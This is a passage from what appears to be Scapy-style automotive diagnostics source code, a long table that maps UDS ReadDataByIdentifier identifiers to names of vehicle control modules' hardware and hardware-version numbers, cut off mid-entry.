UDS_RDBI.dataIdentifiers[0x66bf] = "Valve_block_3_in_passenger_side_front_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66c0] = "Coolant_heater_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66c1] = "Seat_backrest_fan_1_front_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66c2] = "Seat_backrest_fan_2_front_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66c3] = "Seat_cushion_fan_1_front_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66c4] = "Seat_cushion_fan_2_front_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66c5] = "Seat_backrest_fan_1_front_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66c6] = "Seat_backrest_fan_2_front_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66c7] = "Seat_cushion_fan_1_front_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66c8] = "Seat_cushion_fan_2_front_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66c9] = "Operating_and_display_unit_1_for_air_conditioning_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66ca] = "Operating_and_display_unit_2_for_air_conditioning_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66cb] = "Operating_and_display_unit_3_for_air_conditioning_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66cc] = "Operating_and_display_unit_4_for_air_conditioning_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66cd] = "Operating_and_display_unit_5_for_air_conditioning_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66ce] = "Pedestrian_protection_left_hand_side_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66cf] = "Pedestrian_protection_right_hand_side_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66d0] = "Battery_junction_box_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66d1] = "Cell_module_controller_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66d2] = "Cell_module_controller_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66d3] = "Cell_module_controller_3_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66d4] = "Cell_module_controller_4_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66d5] = "Cell_module_controller_5_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66d6] = "Cell_module_controller_6_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66d7] = "Cell_module_controller_7_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66d8] = "Cell_module_controller_8_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66d9] = "Cell_module_controller_9_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66da] = "Cell_module_controller_10_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66db] = "Cell_module_controller_11_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66dc] = "Cell_module_controller_12_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66dd] = "Seat_backrest_fan_1_rear_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66de] = "Seat_backrest_fan_2_rear_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66df] = "Seat_cushion_fan_1_rear_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66e0] = "Seat_cushion_fan_2_rear_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66e1] = "Seat_backrest_fan_1_rear_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66e2] = "Seat_backrest_fan_2_rear_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66e3] = "Seat_cushion_fan_1_rear_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66e4] = "Seat_cushion_fan_2_rear_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66e5] = "Auxiliary_blower_motor_control_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66e6] = "Auxiliary_blower_motor_control_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66e7] = "Infrared_sender_for_front_observation_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66e8] = "Starter_generator_control_module_sub_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66e9] = "Media_player_1_sub_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66ea] = "Media_player_2_sub_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66eb] = "Dedicated_short_range_communication_aerial_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66ec] = "Refrigerant_pressure_and_temperature_sender_4_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66ed] = "Refrigerant_pressure_and_temperature_sender_5_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66ee] = "Refrigerant_pressure_and_temperature_sender_6_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66ef] = "Air_coolant_actuator_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66f0] = "Air_coolant_actuator_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66f1] = "Cell_module_controller_13_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66f2] = "Cell_module_controller_14_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66f3] = "Cell_module_controller_15_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66f5] = "Seat_heating_rear_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66f6] = "LED_warning_indicator_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66f7] = "Automatic_transmission_fluid_pump_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66f8] = "Manual_transmission_fluid_pump_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66f9] = "Convenience_and_driver_assist_operating_unit_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66fb] = "Air_coolant_actuator_3_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66fc] = "Valve_block_4_in_driver_side_rear_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66fd] = "Valve_block_4_in_passenger_side_rear_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66fe] = "Valve_block_4_in_driver_side_front_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66ff] = "Valve_block_4_in_passenger_side_front_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6701] = "Rear_climatronic_operating_and_display_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6702] = "Refrigerant_expansion_valve_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6703] = "Refrigerant_expansion_valve_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6704] = "Refrigerant_expansion_valve_3_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6705] = "Refrigerant_shut_off_valve_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6706] = "Refrigerant_shut_off_valve_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6707] = "Refrigerant_shut_off_valve_3_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6708] = "Refrigerant_shut_off_valve_4_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6709] = "Refrigerant_shut_off_valve_5_Hardware_Number" UDS_RDBI.dataIdentifiers[0x670a] = "Sunlight_sensor_Hardware_Number" UDS_RDBI.dataIdentifiers[0x670b] = "Near_field_communication_control_module_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x670c] = "Clutch_control_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x670d] = "Electrical_charger_Hardware_Number" UDS_RDBI.dataIdentifiers[0x670e] = "Rear_light_left_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x670f] = "Rear_light_right_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6710] = "Rear_light_right_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6711] = "Sunlight_sensor_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6712] = "Radiator_shutter_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6713] = "Radiator_shutter_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6714] = "Radiator_shutter_3_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6715] = "Radiator_shutter_4_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6718] = "Special_key_operating_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6719] = "Radio_interface_Hardware_Number" UDS_RDBI.dataIdentifiers[0x671a] = "Video_self_protection_recorder_Hardware_Number" UDS_RDBI.dataIdentifiers[0x671b] = "Special_vehicle_assist_interface_Hardware_Number" UDS_RDBI.dataIdentifiers[0x671c] = "Electric_system_disconnection_diode_Hardware_Number" UDS_RDBI.dataIdentifiers[0x671d] = "Cradle_rear_climatronic_operating_and_display_unit_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x671e] = "Belt_pretensioner_2nd_row_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x671f] = "Belt_pretensioner_2nd_row_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6720] = "Electrical_variable_camshaft_phasing_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6721] = "Electrical_variable_camshaft_phasing_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6722] = "Wireless_operating_unit_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6723] = "Wireless_operating_unit_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6724] = "Front_windshield_washer_pump_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6725] = "Air_quality_sensor_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6726] = "Fragrancing_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6727] = "Coolant_valve_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6728] = "Near_field_communication_control_module_3_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6729] = "Interior_monitoring_rear_Hardware_Number" UDS_RDBI.dataIdentifiers[0x672a] = "Cooler_fan_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x672b] = "Control_unit_heating_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x672c] = "Control_unit_heating_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x672d] = "Control_unit_heating_3_Hardware_Number" UDS_RDBI.dataIdentifiers[0x672e] = "Control_unit_heating_4_Hardware_Number" UDS_RDBI.dataIdentifiers[0x672f] = "Operating_unit_drive_mode_selection_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6730] = "Side_sensor_a-pillar_driver_front_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6731] = "Side_sensor_a-pillar_passenger_front_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6732] = "Sensor_high_voltage_system_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6733] = "Side_sensor_b-pillar_driver_front_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6734] = "Side_sensor_b-pillar_passenger_front_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6735] = "Multi_function_steering_wheel_control_module_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6736] = "Gear_selection_display_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6737] = "Cooler_fan_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6738] = "Gear_selector_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6739] = "Interior_light_module_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x673a] = "Radio_control_center_Hardware_Number" UDS_RDBI.dataIdentifiers[0x673b] = "Multimedia_extension_Hardware_Number" UDS_RDBI.dataIdentifiers[0x673c] = "Control_unit_differential_lock_Hardware_Number" UDS_RDBI.dataIdentifiers[0x673d] = "Control_unit_ride_control_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x673e] = "Control_unit_hands_on_detection_steering_wheel_Hardware_Number" UDS_RDBI.dataIdentifiers[0x673f] = "Front_climatronic_operating_and_display_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6740] = "Auxiliary_display_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6741] = "Card_reader_tv_tuner_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6742] = "Park_lock_actuator_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6743] = "Media_connector_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6744] = "Catalyst_heating_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6801] = "Control_unit_for_wiper_motor_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6802] = "Rain_light_recognition_sensor_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6803] = "Light_switch_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6804] = "Garage_door_opener_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6805] = "Garage_door_opener_operating_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6806] = "Ignition_key_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6807] = "Left_front_seat_ventilation_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6808] = "Right_front_seat_ventilation_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6809] = "Left_rear_seat_ventilation_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x680a] = "LED_headlamp_powermodule_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x680b] = "LED_headlamp_powermodule_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x680c] = "LED_headlamp_powermodule_2_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x680d] = "LED_headlamp_powermodule_2_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x680e] = "Operating_and_display_unit_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x680f] = "Operating_and_display_unit_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6810] = "Right_rear_seat_ventilation_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6811] = "Data_medium_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6812] = "Drivers_door_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6813] = "Front_passengers_door_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6814] = "Left_headlamp_power_output_stage_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6815] = "Right_headlamp_power_output_stage_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6816] = "Sensor_for_anti_theft_alarm_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6817] = "Rear_lid_control_module_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6818] = "Alarm_horn_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6819] = "Automatic_day_night_interior_mirror_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x681a] = "Remote_control_auxiliary_heater_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x681b] = "Fresh_air_blower_front_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x681c] = "Fresh_air_blower_back_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x681d] = "Alternator_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x681e] = "Interior_light_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x681f] = "Refrigerant_pressure_and_temperature_sender_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6820] = "Sun_roof_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6821] = "Steering_column_lock_actuator_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6822] = "Anti_theft_tilt_system_control_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6823] = "Tire_pressure_monitor_antenna_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6824] = "Heated_windshield_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6825] = "Rear_light_left_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6826] = "Ceiling_light_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6827] = "Left_front_massage_seat_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6828] = "Right_front_massage_seat_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6829] = "Control_module_for_auxiliary_air_heater_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x682a] = "Belt Pretensioner left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x682b] = "Belt Pretensioner right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x682c] = "Occupant Detection_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x682d] = "Selector_lever_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x682e] = "NOx_sensor_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x682f] = "NOx_sensor_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6830] = "Ioniser_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6831] = "Multi_function_steering_wheel_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6832] = "Left_rear_door_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6833] = "Right_rear_door_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6834] = "Left_rear_massage_seat_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6835] = "Right_rear_massage_seat_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6836] = "Display_unit_1_for_multimedia_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6837] = "Battery_monitoring_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6838] = "Roof_blind_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6839] = "Sun_roof_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x683a] = "Steering_angle_sender_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x683b] = "Lane_change_assistant 2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x683c] = "Pitch_rate_sender_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x683d] = "ESP_sensor_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x683e] = "Electronic_ignition_lock_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x683f] = "Air_quality_sensor_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6840] = "Display_unit_2_for_multimedia_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6841] = "Telephone_handset_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6842] = "Chip_card_reader_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6843] = "Traffic_data_aerial_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6844] = "Hands_free_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6845] = "Telephone_handset_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6846] = "Display_unit_front_for_multimedia_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6847] = "Multimedia_operating_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6848] = "Digital_sound_system_control_module_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6849] = "Electrically_adjustable_steering_column_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x684a] = "Interface_for_external_multimedia_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x684b] = "Relative_Air_Humidity_Interior_Sender_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x684c] = "Drivers_door_rear_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x684d] = "Passengers_rear_door_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x684e] = "Sensor_controlled_power_rear_lid_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x684f] = "Camera_for_night_vision_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6850] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6851] = "Rear_spoiler_adjustment_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6852] = "Roof_blind_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6853] = "Motor_for_wind_deflector_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6854] = "Voltage_stabilizer_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6855] = "Switch_module_for_driver_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6856] = "Switch_module_for_front_passenger_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6857] = "Switch_module_for_rear_seat_driver_side_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6858] = "Switch_module_for_rear_seat_front_passenger_side_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6859] = "Switch_module_2_for_driver_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x685a] = "Battery_charger_unit_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x685b] = "Battery_charger_unit_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x685c] = "Battery_charger_unit_3_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x685d] = "Air_conditioning_compressor_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x685e] = "Neck_heating_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x685f] = "Neck_heating_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6860] = "Switch_module_2_for_front_passenger_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6861] = "Switch_module_2_for_rear_seat_front_passenger_side_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6862] = "Compact_disc_database_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6863] = "Rear_climatronic_operating_and_display_unit_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6864] = "Rear_climatronic_operating_and_display_unit_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6865] = "Door_handle_front_left_Kessy_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6866] = "Door_handle_front_right_Kessy_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6867] = "Door_handle_rear_left_Kessy_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6868] = "Door_handle_rear_right_Kessy_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6869] = "Power_converter_DC_AC_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x686a] = "Battery_monitoring_control_module_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x686b] = "Matrix_headlamp_powermodule_1_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x686c] = "Matrix_headlamp_powermodule_1_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x686d] = "High_beam_powermodule_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x686e] = "High_beam_powermodule_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x686f] = "Air_suspension_compressor_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6870] = "Rear_brake_actuator_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6871] = "Rear_brake_actuator_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6872] = "Analog_clock_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6873] = "Rear_door_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6879] = "Data_medium_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x687a] = "Operating_unit_center_console_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x687b] = "Operating_unit_center_console_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x687c] = "Operating_unit_center_console_3_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x687d] = "Operating_unit_center_console_4_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x687e] = "Interface_for_radiodisplay_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x687f] = "Parkassist_entry_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6886] = "Belt_pretensioner_3rd_row_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6887] = "Belt_pretensioner_3rd_row_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6888] = "Injection_valve_heater_control_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6889] = "Steering_column_switch_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x688a] = "Brake_assistance_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x688b] = "Trailer_articulation_angle_sensor_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x688c] = "Cup_holder_with_heater_and_cooling_element_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x688d] = "Range_of_vision_sensing_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x688e] = "Convenience_and_driver_assist_operating_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x688f] = "Cradle_rear_climatronic_operating_and_display_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6890] = "Trailer_weight_nose_weight_detection_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6891] = "Sensor_carbon_dioxide_concentration_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6892] = "Sensor_fine_dust_concentration_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6893] = "Volume_control_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6894] = "Belt_buckle_presenter_2nd_row_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6895] = "Belt_buckle_presenter_2nd_row_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6896] = "Operating_and_display_unit_6_for_air_conditioning_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6897] = "Active_accelerator_pedal_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6898] = "Multimedia_operating_unit_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6899] = "Display_unit_3_for_multimedia_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x689a] = "Display_unit_4_for_multimedia_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x689b] = "Display_unit_5_for_multimedia_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x689c] = "Control_module_for_auxiliary_blower_motors_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x689d] = "Operating_and_display_unit_3_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x689e] = "Operating_and_display_unit_4_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x689f] = "Operating_and_display_unit_5_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68a0] = "Side Sensor Driver Front_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68a1] = "Side Sensor Passenger Front_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68a2] = "Side Sensor Driver Rear_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68a3] = "Side Sensor Passenger Rear_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68a4] = "Front Sensor Driver_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68a5] = "Front Sensor Passenger_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68a6] = "Pedestrian Protection Driver_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68a7] = "Pedestrian Protection Passenger_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68a8] = "Rear Sensor Center_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68a9] = "Pedestrian Protection Center_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68aa] = "Pedestrian Protection Contact_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68ab] = "Pedestrian_protection_driver_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68ac] = "Pedestrian_protection_passenger_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68ad] = "Central_sensor_XY_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68ae] = "Refrigerant_pressure_and_temperature_sender_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68af] = "Refrigerant_pressure_and_temperature_sender_3_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68b0] = "Switch_for_rear_multicontour_seat_driver_side_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68b1] = "Valve_block_1_in_driver_side_rear_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68b2] = "Valve_block_2_in_driver_side_rear_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68b3] = "Valve_block_3_in_driver_side_rear_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68b4] = "Switch_for_rear_multicontour_seat_passenger_side_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68b5] = "Valve_block_1_in_passenger_side_rear_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68b6] = "Valve_block_2_in_passenger_side_rear_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68b7] = "Valve_block_3_in_passenger_side_rear_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68b8] = "Switch_for_front_multicontour_seat_driver_side_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68b9] = "Valve_block_1_in_driver_side_front_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68ba] = 